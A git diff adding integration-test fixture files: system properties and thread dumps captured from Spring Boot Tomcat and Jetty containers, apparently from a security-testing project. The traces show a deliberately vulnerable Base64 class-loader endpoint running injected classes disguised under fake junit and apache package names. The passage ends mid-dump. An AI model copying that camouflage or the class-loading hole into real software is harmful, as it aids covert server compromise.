+org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$AsyncTimeout +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.http.client.DhaPP.ErrorHandler +org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller +org.apache.tomcat.util.net.NioEndpoint$Acceptor +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.websocket.server.WsFilter +org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletContainer$2 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.HiddenHttpMethodFilter +org.springframework.web.filter.HttpPutFormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot2ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot2ContainerTestBasicInfo.txt new file mode 100644 index 00000000..cc66a07d --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot2ContainerTestBasicInfo.txt @@ -0,0 +1,360 @@ +# Generated At 2025-08-10 15:00:27 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +java.protocol.handler.pkgs: org.springframework.boot.loader +sun.boot.library.path: /usr/local/openjdk-8/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +PID: 7 +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /app +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/lib/endorsed +os.arch: aarch64 +CONSOLE_LOG_CHARSET: UTF-8 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +FILE_LOG_CHARSET: UTF-8 +sun.jnu.encoding: UTF-8 +spring.beaninfo.ignore: true +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +catalina.useNaming: false +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +catalina.home: /tmp/tomcat.8080.5850519473472007334 +java.class.path: app.jar +user.name: root +java.vm.specification.version: 1.8 +sun.java.command: app.jar +java.home: /usr/local/openjdk-8 +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/lib/resources.jar:/usr/local/openjdk-8/lib/rt.jar:/usr/local/openjdk-8/lib/sunrsasign.jar:/usr/local/openjdk-8/lib/jsse.jar:/usr/local/openjdk-8/lib/jce.jar:/usr/local/openjdk-8/lib/charsets.jar:/usr/local/openjdk-8/lib/jfr.jar:/usr/local/openjdk-8/classes +java.awt.headless: true +java.vendor: Oracle Corporation +catalina.base: /tmp/tomcat.8080.5850519473472007334 +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6d299e70 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"http-nio-8080-Poller" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:805) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-10" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-2" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-9" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-1" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-Acceptor" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:547) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:79) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:129) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-6" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-8" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Catalina-utility-2" #15 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67d1f500 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"container-0" #16 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:566) + at org.springframework.boot.web.embedded.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:197) + +"http-nio-8080-exec-3" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #29 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@22d3679e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-nio-8080-exec-7" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Catalina-utility-1" #14 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67d1f500 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-5" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.junit.gUIek.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:696) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:779) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:177) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:541) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:360) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:891) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1784) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8080-exec-4" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63ee6da5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter +org.junit.gUIek.ErrorHandler +org.springframework.boot.web.embedded.tomcat.TomcatWebServer$1 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot2JettyContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot2JettyContainerTestBasicInfo.txt new file mode 100644 index 00000000..6b8f66c5 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot2JettyContainerTestBasicInfo.txt @@ -0,0 +1,364 @@ +# Generated At 2025-08-10 15:00:31 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +java.protocol.handler.pkgs: org.springframework.boot.loader +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +PID: 7 +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /app +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +CONSOLE_LOG_CHARSET: UTF-8 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +FILE_LOG_CHARSET: UTF-8 +sun.jnu.encoding: UTF-8 +jetty.git.hash: 4231a3b2e4cb8548a412a789936d640a97b1aa0a +spring.beaninfo.ignore: true +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.class.path: app.jar +user.name: root +java.vm.specification.version: 1.8 +sun.java.command: app.jar +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"qtp1890187342-17" #17 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b92bf18 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:382) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:974) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1018) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-20" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at 